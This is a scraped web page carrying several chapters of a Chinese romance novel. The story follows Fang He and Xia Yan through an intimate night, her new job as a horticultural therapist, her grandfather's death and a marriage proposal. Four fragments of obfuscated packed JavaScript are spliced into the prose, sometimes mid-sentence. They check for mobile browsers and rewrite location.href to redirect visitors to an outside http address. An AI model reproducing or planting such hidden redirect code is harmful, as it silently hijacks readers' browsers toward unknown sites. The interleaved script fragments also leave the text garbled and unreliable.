l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586824|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不好?弄疼你了吗?” “都没有。” 既然身体没有不舒服,那就是心里不舒服了,夏岩把方禾抱在怀里哄:“你安心,我不会变的,不会做睡过了就不认账的事。” “我知道。” “那你是为了什么皱眉?” 方禾就凑到夏岩耳边小声说了句什么。 怕伤到夏岩的自尊心,她说得极其委婉,说完还语重心长地安慰了一番。 夏岩从方禾那极其委婉的话里品出了几分怜惜,几分懊悔。 怜惜他在走下坡路了。 懊悔没有早点睡到他。 好脾气的夏岩也被气到磨了磨后槽牙。 亏他还刻意收着,不想第一次就吓到她。 结果!这姑娘居然以为他不行。 这脑回路…… 夏岩忍不了,他一手去床头柜够东西,一手把人扯过来摁到身下。 这阵仗吓不到方禾,她沉浸在对夏岩的怜惜之中,搂着夏岩的脖子回吻他,她想告诉他,她不嫌弃他。 直到—— 她受不了想要逃开的时候,被夏岩紧紧锢住无法动弹,她才意识到,她轻敌了。 生理性的泪水控制不住地溢出眼眶的时候,方禾哽咽着说:“我错了……” 夏岩亲亲她的唇角。 方禾第一次看见夏岩笑得这么坏,他哑声问:“错哪儿了?” 方禾只好乖乖认错:“不该说刚刚的话,我收回。” “嗯。”夏岩把她汗湿的发丝捋到一边,动作温柔,“以后还说这样的话吗?” “不说了不说了。”方禾连连摇头,“你最厉害了。” 待一切结束,夏岩把人抱在怀里哄着。 在云朵里滚了几圈的方禾渐渐缓过劲来,有气无力地说:“我饿了。” “想吃什么?” “想吃我们上个周末去的那家烧烤。” “那我去买回来。”那家店没有外卖。 “好。”方禾现在确实不想动弹,再馋烧烤也不想大老远跑过去吃。 夏岩快速冲了个澡,套上衣服就出门了。 方禾又懒洋洋地躺了好一会儿,才去洗头洗澡。 等她把头发吹干,夏岩也回来了,利落地拆开包装纸,喊方禾过来吃。 方禾坐过去,拿起一串面筋。 她咬了几口,视线从桌上的烤串上扫过,最后落在对面的夏岩身后。 他穿着衣服,又恢复了平常那副温润有礼的样子,仿佛刚才那么坏的人不是他。 头发散着不方便吃东西,她看向夏岩:“给我扎头发吧,我知道你会。” 不止会,还很擅长。 夏珂小学六年级之后,夏岩就没有再给妹妹梳过头发了,所以即便他曾经十分擅长,此时拿起梳子也难免觉得有些手生,费了一番功夫才给方禾扎好一个蓬松的侧麻花辫。 方禾对着镜子看了看自己的麻花辫,看了看桌上她喜欢的菜和对面坐着的她喜欢的人,又看向窗外。 暗红、冷白、暖黄的车灯交错着,汇成流淌在城市里的星河。 看着看着,她笑了:“夏岩,我有些喜欢这个城市了。” 32. 第 32 章 又是一个很热的夏天,方禾正在过她大学里的第三个暑假。 她报名了园艺治疗师专业技能培训,自己在网上学完线上课程,又去上海参加了三周的线下集中培训班。 通过考核后,方禾拿到了初级园艺治疗师证书。 这三年的心理学课和志愿活动经历让方禾知道,植物不仅能美化环境,还能治愈人心,所以她现在励志成为一名园艺治疗师。 回到学校,方禾大四,开始了毕业倒计时。 这时候,夏岩已经工作一年了,除了药物分析员的工作,他还和舍友合伙开了一家烧烤店,韩佳冰也早在今年六月份就毕业了。 韩佳冰是独生女,不想离家太远,所以从一开始就没打算找其他地方的工作,只一心备考老家市里的教师编,最后也如愿上岸。 韩佳冰的父母早就在攒钱给女儿买房了,女儿的工作一落实,老两口立刻就张罗着在广青市区里买了房子。 他们才不听别人说养女儿轻松、不用买房买车的那些话,不管女儿结不结婚,他们都要给女儿一套房子。 国庆小长假,方禾撇开夏岩,跟韩佳冰一起出去玩了,两个姑娘去了她们小时候仰望群山时都曾羡慕过的海边,看了蓝眼泪,赏了海上日出,还捡了贝壳。 她们光着脚在沙滩上奔跑,一个追,一个闹。 咸湿的海风吹着,恍惚间,好像她们俩还是背着书包跑在乡间小路上的小丫头。 可她们到底是长大了,长到了可以随心去往自己想去之地的年纪,小时候的一切憧憬和向往都不再停留于幻想。 - 实习的时候夏岩还在药厂、学校两头跑,毕业之后,他在药厂附近租了房子。 饶是不能同住学校,方禾跟夏岩的见面次数也不算少。 有时候是夏岩下班后过学校来陪方禾吃饭,有时候是方禾跑去夏岩那边找他。 本来周末放假去找夏岩是一件很愉快的事情,但渐渐地,方禾开始害怕周末,害怕跟夏岩出去住。 虽然她也很舒服,很享受,可她有些……吃不消了。 这时候方禾才感到后悔,她确实不该勾着夏岩早早跟她做。 如果说开荤前的夏岩定力十足,还需要她去说些大胆的话激他,那开荤后的夏岩就好像变成了会自燃的黄磷。 即便她不去刻意招惹,他自己也能烧出一团火,然后火势蔓延,来侵占并吞噬她。 为了自己的身体着想,方禾编了很多诸如听讲座、开会、兼职的借口。 但方禾还是很善解人意的,每个月至少会去夏岩那边住两次,毕竟,有时候她也会想。 - 这一年的秋天,方禾宿舍四人都顺利找到工作。 邹珊和田晓佳都签了榆南的公司,以后会留在这里发展,反倒是杨惜这个榆南土生土长的人,居然跑去了很远的外地工作,她说她要先去外面闯荡一番。 方禾则是进了榆南的一家疗养院,即将如她所期待的那样,成为一名用芳香植物开展康复训练的园艺治疗师。 为了庆祝方禾找到工作,她这次的生日过得很隆重,夏岩特意请了一周的假,陪方禾去了两个城市旅行。 谈恋爱的前两年他们都是穷学生,不仅没有太多钱出去玩儿,平时还有很多课要上。 现在却刚刚好,他有工资,方禾刚找到工作还没正式开始上班,除了毕业论文之外没什么要忙的,有的是时间玩。 方禾一路玩得很开心,喂了小鹿,摸了海豚,还换上民族服饰拍了写真。 可她记着一件事情呢,夏岩虽然一路上都在给她买吃的买喝的,但却没有买生日礼物给她! 返程的飞机在榆南落地,方禾就忍不住问夏岩:“我的生日礼物呢?” 夏岩目光躲闪:“……没准备。” “不错嘛,都会开玩笑了。”她当然不信夏岩会不给她准备礼物。 去年她生日,夏岩这个连口红色号都分不清的直男,破天荒地跑去各大平台看美妆博主的分享,像上课那样做了很多笔记,给她精心挑选了很多化妆品。 所以方禾才不信他会没有给她准备礼物。 夏岩一笑,他就知道自己瞒不过方禾。 明明准备了礼物,却故意藏着不告诉她,一定是惊喜。方禾愈发期待起来。 从机场出来,两人坐上地铁,直奔夏岩的住处。 一进门,方禾就听到了一道软糯糯的猫叫声。 她忙不迭地趿着拖鞋跑进去一看,沙发上果然窝着一只小狸花猫。 这只小猫的月份应该不大,还奶乎乎的,特别可爱。 “喜欢吗?”夏岩记得方禾以前说过要养一只猫,而且点名说要狸花猫。 “喜欢!特别喜欢!”方禾的眸子亮晶晶的,丝毫不掩饰她内心的喜悦。 方禾正想走近些,摸摸小猫,结果小狸花像是被吓到了一样,迈着小短腿,一头钻进了窗帘里不肯出来。 “它有点怕生,前两周刚来的时候都也不肯让我摸,熟悉熟悉就好了。” 因为这一周都是他朋友来帮忙喂猫,小猫时隔一周见到他,也表现得不怎么热络,不过它会让夏岩抱。 方禾只能在小猫被夏岩抱着的时候抓紧时间摸。 翌日清晨,方禾还睡着,忽然感觉似乎有什么东西凑近了她的脸,在闻她。 她以为是夏岩,迷迷糊糊地说了声“别闹”,结果脸上的触感还在,弄得她痒痒的。 睁开眼一看,居然是那只小狸花猫。 清醒过来,方禾怕把小猫吓跑,没敢动。 她安静地躺着,和小猫四目相对,一直等到小猫闻够了她,自己跳下床走掉。 也许是闻过她之后把她当成了自己人,小狸花终于肯乖乖让方禾抱着摸了。 这让刚起床的方禾很兴奋,一抱起来就舍不得松手。 “它叫什么名字?”她坐在沙发上,冲着在厨房做早饭的夏岩问。 夏岩正在打鸡蛋,闻言一笑:“还没有名字,等着你取。” “我取?” “当然,你的猫,自然应该由你来取名字。” “那我得好好想想了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591881|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方禾挠着小猫的下巴,认真思考起来。 夏岩把酸汤面和鸡蛋灌饼端上桌的时候,方禾还在抱着猫沉思。 “取好了吗?”夏岩解下围裙,笑着问。 “你觉得,叫糯雪怎么样?”方禾摸着小猫的小爪子,解释道,“爪子雪白,性格软糯,应该挺符合它的。” 夏岩表示赞同。 他对小猫的名字没有意见,只要方禾喜欢,不管她取什么名字都行。 糯雪的话……夏岩记起,方禾就喜欢冬天飘扬的雪,也喜欢甜滋滋的糯米。 而且糯是谷物,这名字一听就和她这个大名小名都跟禾谷类作物有关的主人是一家的,再合适不过。 见夏岩也同意,方禾就对着小狸花“糯雪”“糯雪”地叫了起来。 夏岩站在旁边看得入神,一时忘了时间。 他喜欢方禾过来陪他,喜欢房子里有她的声音,喜欢客厅茶几上有她的发夹发绳,喜欢衣柜里挂上她的衣服,喜欢门口的鞋架上摆她的鞋子,喜欢像今天早上这样,一睁眼就做饭给他爱的人吃。 糯雪还没适应自己新得的名字,但这事急不得,只能慢慢让它习惯。 怕面条坨了,方禾放下糯雪让它自己玩,她坐到餐桌前吃早饭去了。 去夏岩家过年的那次方禾就知道夏岩的厨艺很好了,自从夏岩租了房子,她每次过来,都能大饱口福。 她夹了一筷子面条喂进嘴里,酸酸辣辣,很是开胃。 “你不吃吗?傻站着干嘛呢?”方禾又夹起鸡蛋灌饼咬了一口,对着出神的夏岩喊道。 他回过头,目光落在她脸上:“穗穗。” “嗯。” 他在方禾对面的椅子上坐下:“介意婚前同居吗?” “不介意呀。” “那等你毕业了,就搬过来跟我住,好不好?” 方禾端起碗喝了一口汤,故意逗夏岩:“我如果说‘不好’呢?” “那就算了,当我刚刚没说过。”虽然心里会有些失望,但他愿意尊重方禾的意愿。 方禾当然愿意了。 第二年五月,毕业典礼还没开,她就已经陆陆续续搬了很多东西去夏岩那边了。 不过地方不一样。 夏岩原先住的地方离疗养院有些远,房子到期之后,他没有再续租,而是在疗养院附近的小区重新租了房子。 他无所谓,只要不是太远,坐公交、坐地铁、打车或者自己骑车通勤都行,但方禾晕车,有时候连地铁也会晕,她讨厌车子的味道,如果不是下雨或者天冷,她都不想坐车。 所以还是住得离疗养院近一些更好,这样方便方禾步行上下班。 跟方禾一起搬进来的,当然还有那个小兔子花盆里的麦秆多肉。 刚搬进来时,正值盛夏,多肉叶片鲜绿,但这会儿已经变成粉色。 夏岩以前没养过麦秆多肉,他看着一点一点褪去绿色染上粉色的叶片,只觉得奇妙,但方禾知道,这代表秋天来了。 她和夏岩,马上就在一起整整四年了。 33. 第 33 章 方禾很热爱自己这份疗养院的工作,每天早上换上工作服,先去医护办公室和医生交流病人最新的健康状况,然后再根据病人的身体状况和心理需求,设计不同的园艺活动,记录下病人在园艺活动中的表现。 每天下班后,两个人一起吃饭时,方禾都喜欢跟夏岩说一些疗养院里的新鲜事,说患有阿兹海默症的陈奶奶喜欢迷迭香的味道,说有自闭症的小女孩筱筱害怕和人有眼神接触,但是却喜欢种向日葵,说她今天带奶奶们去菜园摘了什么菜,说某个因为校园霸凌患上抑郁症的少女今天又有什么进步…… 夏岩会停下筷子,看着眼前眉飞色舞的姑娘,认真地听她讲。 相比方禾每天工作中的温馨趣事,夏岩所面对的一堆试剂药品并没有什么值得说的,他上班的大部分时间都在记录检测数据,写检测分析报告,而且他也不觉得方禾的性子会喜欢听那些枯燥无味的质检流程。 所以他就只是听,然后再从他工作的日常里挑一些方禾会感兴趣的东西讲,比如新来的实习生第一次接触药品检测仪器,操作的时候把样本瓶放反了,让检测数据变得乱七八糟;再比如检测药用辅料粘稠度的时候,有人把明胶比例调反了,质检报告还没出,倒是先做出了实验室特供版的软糖。 睡前自然是要亲密几番的,从浴室出来时,方禾早就困得睁不开眼睛。 夏岩调好空调温度,给方禾盖好被子,拥着她入眠。 不知道睡到凌晨几点,夏岩被一阵手机铃声吵醒。 他看了看怀里正在酣眠的方禾,庆幸这手机在外面响,没有吵到方禾。 夏岩轻手轻脚地起了床,在客厅沙发上找到了正亮着屏的手机。 方禾给方达海的备注不是“爸”,而是大名,夏岩一眼就看到了那个名字。 大半夜的,不是喝醉了发酒疯乱打电话,就是真有要紧事了,尤其还是这个几乎从来都不会主动给方禾打电话的人。 电话在夏岩准备滑动接听之前就挂断了,没几秒钟,进来一条短信。 夏岩扫了一眼内容,犹豫半晌,还是去卧室叫醒了方禾。 “怎么了?”方禾睡得迷迷糊糊地,习惯性地揉了揉眼睛。 夏岩按住她的手,打开了床头的小夜灯,等方禾的眼睛适应了暖黄的光线后,他才移开手,把手机递了过去。 方禾看了短信内容,睡意顿消。 那个看起来十分硬朗的老头,那个好像能跟她吵一辈子架的老头,怎么突然就病危了呢? 哦,她好像已经好几年都没有好好看过方朝贵了,他多少岁了来着?是六十多?还是七十多?他可能早就不再硬朗了。 方禾从床上坐起来,把电话拨了回去。 夏岩没听清电话那头说了什么,他只听见方禾倔强道:“我才不回去,我跟那老东西有什么好说的,别见了面再把他气出个好歹。” 电话挂断,方禾扔掉手机,把被子拉高蒙在头上,语气如平常一般轻松:“快睡吧,明天还要上班呢。” 夏岩说好,揉了揉她的发顶,关了灯。 他听着方禾时急时缓的呼吸声,知道她心里可能并不像表面那样云淡风轻。 他给她时间消化这个消息,给她安静的空间,所以一句话也没有说,只在被子里摸到方禾的手,轻轻握住。 天刚蒙蒙亮,方禾翻了个身,紧紧环住夏岩的腰。 方朝贵对她不疼不爱的,方禾不在意方朝贵是死是活,可一想到以后她回村给奶奶烧纸钱,那排老房子里可能再也没有那个和她拌嘴的老头,她胸口总是闷闷的,堵得慌。 “夏岩,我要回去一趟。” “好,我陪你。” 他回得那样快,方禾就知道,他这后半夜时时留意着她的动静,也没怎么睡。 两人起床收拾,打车直奔高铁站,路上给公司发消息请了假。 高铁飞驰,十一点多两人就到了广青。 车上方禾打电话问过了,方朝贵在麻溪镇上的医院里,所以他们现在要先搭车去镇上。 这是夏岩第三次来广青,上一次来是三年多前,路线他早就记不清了,和第一次来没什么区别。他时刻关注着方禾的情绪,也没顾得上去打量这座对他来说还很陌生的城市。 方禾牵着夏岩去汽车站。 开往镇上的大巴车都是等凑够一车人才发车的,他们来得不巧,上一辆车刚刚开走。 夏岩提议出钱把其他空的座位买下来,或者去外面打一辆车。 方禾默默摇头,走到候车区坐下:“不用,就这样等着吧。” 真到了广青,方禾反而不急着了,她有些害怕看到那个曾经骂起人来似乎有无限精力的老头奄奄一息躺在病床上的样子,如果一直凑不齐一车的乘客,如果车一直开不到镇上,也挺好的。 夏岩去了汽车站外面。 他先去了药店,出来后买了水和巧克力,称了两斤橘子,打包了两份凉皮和一笼酱肉包,回来时,看到方禾耷拉着脑袋坐在候车区的椅子上,心疼的情绪顿时又多添了几分。 方禾一直都是两个人中最活跃、话最多的那个,她忽然这样安静,夏岩有些不适应。 夏岩蹲在旁边,拉过方禾的手,撕开刚买的晕车贴给她贴好,才拆开打包盒跟筷子:“吃点东西吧,你早上就没怎么吃。” “嗯。”方禾接过拌好的凉皮,若无其事地吃着。 大巴车终于还是满了。方禾吃完一盒凉皮,又跟夏岩分着吃完了那笼包子,司机就在那边冲他们喊了,说人齐了,可以走了。 方禾一上车就捂住了鼻子,汽油味、座椅的皮革味……她闻了就难受。 她开了车窗,车跑起来,新鲜空气灌了进来,她这才好受了一点。 夏岩剥了一个橘子递过来,方禾闻了闻清新的果香,又吃了几瓣,不适感更少了些。 “你也吃。”方禾塞了一瓣橘子在夏岩嘴里。 夏岩见她这会儿状态不错,咽下口中的橘子,又从袋子里拿起一个开始剥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596549|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大巴车离市区越来越远,眼前所见不再是高楼和街道,而是青山绿树,村落农田。 方禾的话多了起来,时不时指着车窗外给夏岩介绍,这里是樱花谷,那边有水库,那座山后面有一个据说很灵的寺庙……吃完第四个橘子,麻溪镇到了。 “要我陪你进去吗?”走到病房外,夏岩问。 方禾挤出一个笑:“你在这里等我就好。” 夏岩便坐在走廊的椅子上等,淡淡的消毒水气味让他不由得想起了在医院等他爸出手术室的那一幕幕。 他尝过亲眼看着亲人离开的滋味,所以更加心疼方禾。 不知道等了多久,方禾出来了,她眼眶有些红,但却没有掉眼泪。 夏岩走上前去,将人抱在怀里。 抱了好一会儿,方禾才闷闷出声:“肺气肿、心脏衰竭……一堆病,医生说可能撑不了几天了。” “好烦啊,明明我那么讨厌他,巴不得他早点死……可他真的要死了,我怎么还是会难过呢?”她把头埋进夏岩的胸膛,出口的话全带了哭腔,“夏岩,为什么我会难过?” 夏岩将人抱得更紧了些,他能感觉到怀里的人开始随着抽噎而轻微颤抖,更感觉到自己胸前的衣服在一点一点被打湿。 他没办法减轻她的苦涩,更不能违心地跟她说那些“没事了”“别哭了”的苍白话语,只能抱紧她,温柔地吻她的头发。 “烦死了,为什么要哭,我不想哭的,我那么讨厌他。可是,他居然说……”方禾哽咽了,抽噎了半晌才重新说出话来,“他说,他遗憾自己看不到我结婚的那一天了。” 方禾好像忽然懂了什么叫“人之将死,其言也善”了。 这个时候,方禾明明应该想到方朝贵的打骂,想到被方朝贵扔掉的猫,想到方朝贵嫌弃她的眼神。 可她偏偏想到的是有个冬天方朝贵给她买的一双厚厚的红袜子,想到的是方朝贵有一次赶集买酒回来时顺便给她买的一瓶汽水…… 方朝贵对她没有多好的,可就是那些偶尔的一丁点儿的好,居然在这个时候从记忆里不断翻涌出来,被方禾不受控制地一点点放大。 方禾想,方朝贵可真混蛋啊,他要坏就应该坏到底,为什么临了了却来说这些话,来惹她的眼泪。 算了吧。方禾哭够了,抹了一把眼泪,重新推开病房门,真心实意地喊了方朝贵一声“爷爷”,算是全了那些年里为数不多的亲情。 她怕她喊晚了,他听不到,到时候愧疚和难过的人还是她。 不同于一年见不到一次的方达海,方朝贵虽然大部分时间都很烦,都对方禾冷言冷语,但他确实是陪着方禾长大的,陪了十多年。 夏岩就知道,方禾虽然嘴上总说讨厌那个家,讨厌她爷爷,但她其实是一个非常心软的人,稍微打动她一点,她就开始不舍了。 方禾出走的那个夏天,但凡有一个人在乎她一点点,但凡有一个人放软语气哄她两句,可能她都不会头也不回地离家出走。 34. 第 34 章 毕竟感情不是多么深厚,参加完方朝贵的葬礼,方禾并没有持续地心情低落,回到榆南就照常吃喝,照常工作。 秋冬都相继过去,疗养院菜园里的菜又新种了一拨,陈奶奶的精神状态好了不少,筱筱也有了进步,不再抵触人的接触,还会和熟悉的小伙伴分享玩具。 情人节到了,吃了夏岩精心准备的烛光晚餐,又喝了点酸酸甜甜的青梅酒,微醺的方禾抱着小猫懒洋洋地躺在沙发上,看着夏岩系着围裙收拾晚饭的餐具。 洗好碗筷,收拾完厨房,夏岩拿了拖把来客厅拖地。 方禾的脑袋转来转去,视线一直黏在夏岩脸上,她就爱看他这副贤惠得不得了的样子。 她掰着手指算了一下,这好像是她和夏岩一起过的第五个情人节。 都第五个情人节了,这个男人居然还是第一点表示都没有! 有些话其实方禾很早之前就想问了,可总觉得不好说出口。 不知道是不是醉意让方禾的顾忌少了些,看着眼前的人,方禾脱口而出:“我听别人说,谈恋爱超过三年还不结婚的话,之后再结婚的概率就很低了。” 刚放完拖把洗了手走过来的夏岩脚步一顿:“想结婚了?” 方禾立刻摇头,但语气却不如她摇头时的那般坚决:“才没有……” 以前方禾没有想过结婚的事情,小时候的她爱玩过家家的游戏,但还不懂结婚真正的含义,懂了之后也无法想象自己将来会和什么样的人结婚。 和夏岩谈恋爱的时间长了,方禾偶尔会忍不住幻想一下和夏岩结婚的情境。 单就结婚这件事情来说,似乎并不算什么好事。 但如果结婚的对象是本身就很好,而且她也非常喜欢的夏岩,那方禾就觉得自己有了许许多多关于婚姻的美好幻想。 她当然不确定结婚后的未来几十年是否都如她想象得那么美好,可此时此刻,她是想要结婚的,想要去体验,想要和夏岩去经营一段婚姻。 但这些想法可不能让夏岩知道,她才不想让夏岩觉得她很迫切地想要嫁给他。 所以她只能摇头,只能否认。 夏岩当然不太信。 他紧挨着她坐下,把人搂进怀里:“嗯?真的不想结吗?” 方禾把头埋在夏岩的胸膛前,感受着他的体温和气息,但仍不肯说实话:“也就……一般般想吧,没有特别想。” 头顶的人似乎轻笑了一下,揉揉她的脑袋:“我知道了。” 方禾蹭地一下坐直了:“你知道什么了?” “你喝醉了,去洗个澡清醒一下。” 方禾顿时气鼓鼓,攥着拳头想打人:“你……” 真的好气啊!她明明都已经在借着醉意旁敲侧击地暗示他了,结果,这个狗男人,不但顾左右而言他,居然还认为她是在说醉话。 她才没有醉,她很清醒,知道自己在说什么! 但这种事情逼急了也没意思,方禾只是想让夏岩知道她心里的想法而已,不想上赶着催着夏岩娶她。 自己求来的有什么意思,她想要的不过是他的态度和心意。 今天是情人节,方禾不想在今天吵架,等明天,她再好好跟夏岩算账,狠狠地敲敲他那个榆木脑袋。 她的余光能瞥见夏岩拿起了手机,点了几下,不知道在干什么,应该是在回工作信息吧,他把她的心里话当成醉话,肯定还没有想到要求婚的事。 方禾站起身,哼了一声,头也不回地去了卫生间。 气呼呼地洗完澡,吹干头发,方禾出来时见夏岩还坐在客厅。 她瞪着他,没好气地问:“还不睡吗?” 夏岩怕她真要现在就去睡觉,只好找借口拖延:“时间还早,看会剧吧,就看你这几天在追的那个?” 方禾看在电视剧的面子上答应了,在沙发上坐下。 刚刚那个关于结婚的话题谁都没再提起。 就在方禾已经全身心沉浸在追剧中的时候,没一会儿,夏岩的手机响了。 夏岩接起。 方禾听他说了声:“对” 又说:“送上来就行。” 等夏岩挂了电话,她好奇地问:“谁呀?” “送外卖的。” “你饿了吗?点了什么?” “一会儿你就知道了。” 方禾淡淡“哦”了一声,无非就是炸鸡奶茶之类哄她高兴的东西,要不就是家里的套用完了,除了这几样,方禾想不到还有什么东西是夏岩必须在这个时候买的。 “等会门铃响的时候,你去书房帮我拿个东西。” “啊?拿什么?” “书架第二层最左边的那本书。” 门铃响了。 他推了推她的肩膀:“去吧。” 方禾不情愿地去了,看剧看得好好的,这人非让她去拿什么书,是觉得她爱看的电视剧很无聊,所以想看书打发时间了? 正好手头没有趁手的兵器,看她不拿着书把他的脑袋好好敲一顿。 方禾从书房出来,感觉自己充满了战斗力,结果转角就看见夏岩抱着一束玫瑰从玄关走过来。 那是一束很大很大的,裹着雾面黑纱的暗红玫瑰,夏岩的手臂线条绷着,看得出来这束花应该不轻。 夏岩的肩就够宽了,但这束玫瑰花居然几乎完全遮挡他的上半身,顶端高度也接近了他的下颌,远远看着,仿佛他胸前炸开一片浓烈的花海。 方禾还在惊讶于这束花之大,夏岩已经在朝她走来了。 行走间,最外层的花瓣扑簌簌落了两片在地上。 以夏岩对方禾力气的了解,这束花她可以抱得动,但这样大的一束花显然不适合像往常那样塞到方禾怀里,夏岩就把花放在沙发前,让方禾可以坐着欣赏。 “这是多少朵啊?” “一百九十九朵。” “怎么突然买了玫瑰花?这得多贵啊。”这样的浪漫方禾很喜欢,但她也会有点心疼这一大笔买花的钱。如果买糖果花、果冻花或者蔬菜花就好了,欣赏够了她还可以吃掉。 夏岩知道她在想什么:“平时也就算了,求婚当然还是玫瑰花更正式些。” “求婚?” “不够明显吗?”夏岩看着她手里的那本书,“你就没翻开看看?” “没……”其实看到玫瑰花的时候她就隐隐猜了什么,但她不敢确认。 方禾就看着夏岩从她手里拿过那本书。 看他翻开,她才知道这书里挖了个洞,里面有个小盒子。 盒子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601609|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了戒指,还有一条定制的桂花钻石手链,方禾说过的,让他送不会枯萎不会凋谢的礼物给她。 他先把手链系在她手腕上,再把戒指从盒子里拿出来,单膝跪下:“嫁给我吧。” 方禾抬着手腕打量完这条手链,望向夏岩时的眸子比钻石还要亮:“你倒挺会藏东西的,什么时候买的?” “你搬进来的时候。” 本来早就应该求婚了,但时机不太对,她爷爷去世前说了那样一番话,他自己紧接着就求婚,他怕方禾会觉得他只是为了让她弥补爷爷没能见证她结婚的遗憾。 “嫁不嫁?” “当然要嫁了。” 这可是她从十六岁喜欢到二十三岁的人,是从来都会把她放在心尖上的人。 糯雪仰着小脑袋,它不懂眼前的两个人类在说什么,倒是那一大束玫瑰花吸引了它的注意。 它跳下沙发,迈着优雅的步子走过去,好奇地嗅了嗅,张嘴开始啃。 婚求完了,被戴上戒指的方禾还是有点气,抓起抱枕砸了一下夏岩:“你好讨厌,明明都准备求婚了,那刚才为什么要说我在说醉话,还让我去洗澡个清醒清醒,把我气的,护发素都少涂了一遍。” 夏岩苦笑:“我是真的怕你说的是醉话,求婚这种事情,总得在你清醒的时候求。” 他由着方禾砸,等她砸够了,才把人拦进怀里:“现在清醒吗?” “清醒得不能再清醒了。” “好,那我们再来说说房子的事情。”夏岩摩挲着她的肩头,语气认真,“要结婚,总不好一直租房子住,所以必须得买,位置的话,你最近几年应该不会考虑换工作,那就买在这附近……” “等等!”方禾打断他的话,“你哪来的钱买房的?” “我都打了两年工了,总得攒下点钱?” “而且,和舍友投资开的烧烤店这两年生意也不错,我有不少分红。” 榆南的房价可不便宜,光这些积蓄就够了吗? 方禾不知道,但她想起,夏岩下了班有时候会做药品注册文件的翻译,考到执业药师证后,他在平台兼职,给用户提供用药咨询,他还在做医药科普短视频,只有小几万的粉丝,算不上什么大博主,但橱窗里放些电子血压计之类的小商品,也能分到百分之二十的佣金。 夏岩在忙这些的时候,方禾有问过他。 当时他说他喜欢,方禾就傻傻地那些都是他的业余爱好,是他作为制药学专业学生的理想。 现在想想,有没有可能他是为了多赚一些钱。 “太辛苦了,夏岩。”方禾觉得自己眼睛有点酸,幸好她埋在他怀里,他看不见。 “不用心疼我,虽然是为了赚钱,但那些工作我做起来很开心,而且我的生活就是这样,不管和谁在一起都注定会这样辛苦。” 夏岩轻轻拍着她的背,“可穗穗你不一样,你本来可以不选择这样的我,但既然你和我在一起了,我就得给你更好的,总不能让你跟着我吃苦。” “我不需要你给我花很多钱。” “你只要给我很多很多爱就好了。” “好。”他郑重地点头,捏了捏方禾的脸。 他会给她很多很多的爱,会爱她很久很久。 -正文完- 35. 第 35 章 求婚后的第二天早上,方禾收到了夏岩的一笔转账。 “两万块,干嘛突然给我这么多钱?” 虽然夏岩会在情人节七夕的时候给她转账,但都是五二零和一三一四这些数字,还没有转过几万这种整数。 “结婚之前,这笔钱得还你。” “还?”方禾再去看转账信息,这才看到备注的那两个“还款”的小字。 这下方禾明白了,但她仍装作听不懂的样子:“还什么,我又没给你借过钱。” “你给过我钱,我单方面认为那是借的。” 夏岩居然知道!方禾很惊讶,她以为自己的计划很完美:“你是怎么知道的?我明明跟老板交代好的……” “嗯,你是交代得很好,可你想想,赵姨那样的人,怎么会突然变得大方起来?” 方禾:“……” 是她失算了。她万万没想到,露馅居然因为是赵文芳的抠门。 不过说来也对,毕竟赵文芳平时那么抠搜,怎么可能突然就给夏岩涨工资发奖金。 可惜了她的精心谋划啊,她自以为天衣无缝,结果败给了赵文芳的抠门。 哎,既然夏岩非要还,那她就收下吧,不能和钱过不去。 看着手机上转账被接收的消息,夏岩又问:“你们老家那边结婚一般给多少彩礼?” “不太清楚。”小时候她不懂,奶奶带她出去吃酒席,她就只顾吃吃喝喝,没去关心过彩礼的事情,长大之后,她很少回去,更无从得知现在流行给多少彩礼。 “你不会是在想要给我拿多少彩礼吧?” “就是在想这个事。” “不用了吧,我都没有陪嫁。” “要给的,你自己存着,算婚前财产。” 他现在的存款不算很多,但该给方禾的,他都要给她。 她跟他谈恋爱的时候已经够委屈的了,结婚这样的大事上,总不能继续委屈。 - 三月份,夏岩带着礼品跟着方禾去了她小姨家,方禾的母亲不在,父亲也不管她,现在是小姨一家照顾她比较多。 按照见家长的流程,方禾当然也得去一趟夏岩家。 她选了四月底的一个周末,刚好周末珂珂也在家。 方禾还多请了一天假,她毕竟在卢嘉待过一年,这座小城对她来说是充满回忆的,她也想再去街上多转转,再去吃一吃当年她最爱的烧烤、臭豆腐、炸鸡拌饭。 这是方禾第二次去夏岩家,上一次去是作为他们兄妹俩的朋友,那时候也确实是朋友,所以她没什么顾虑,大大方方就进门了。 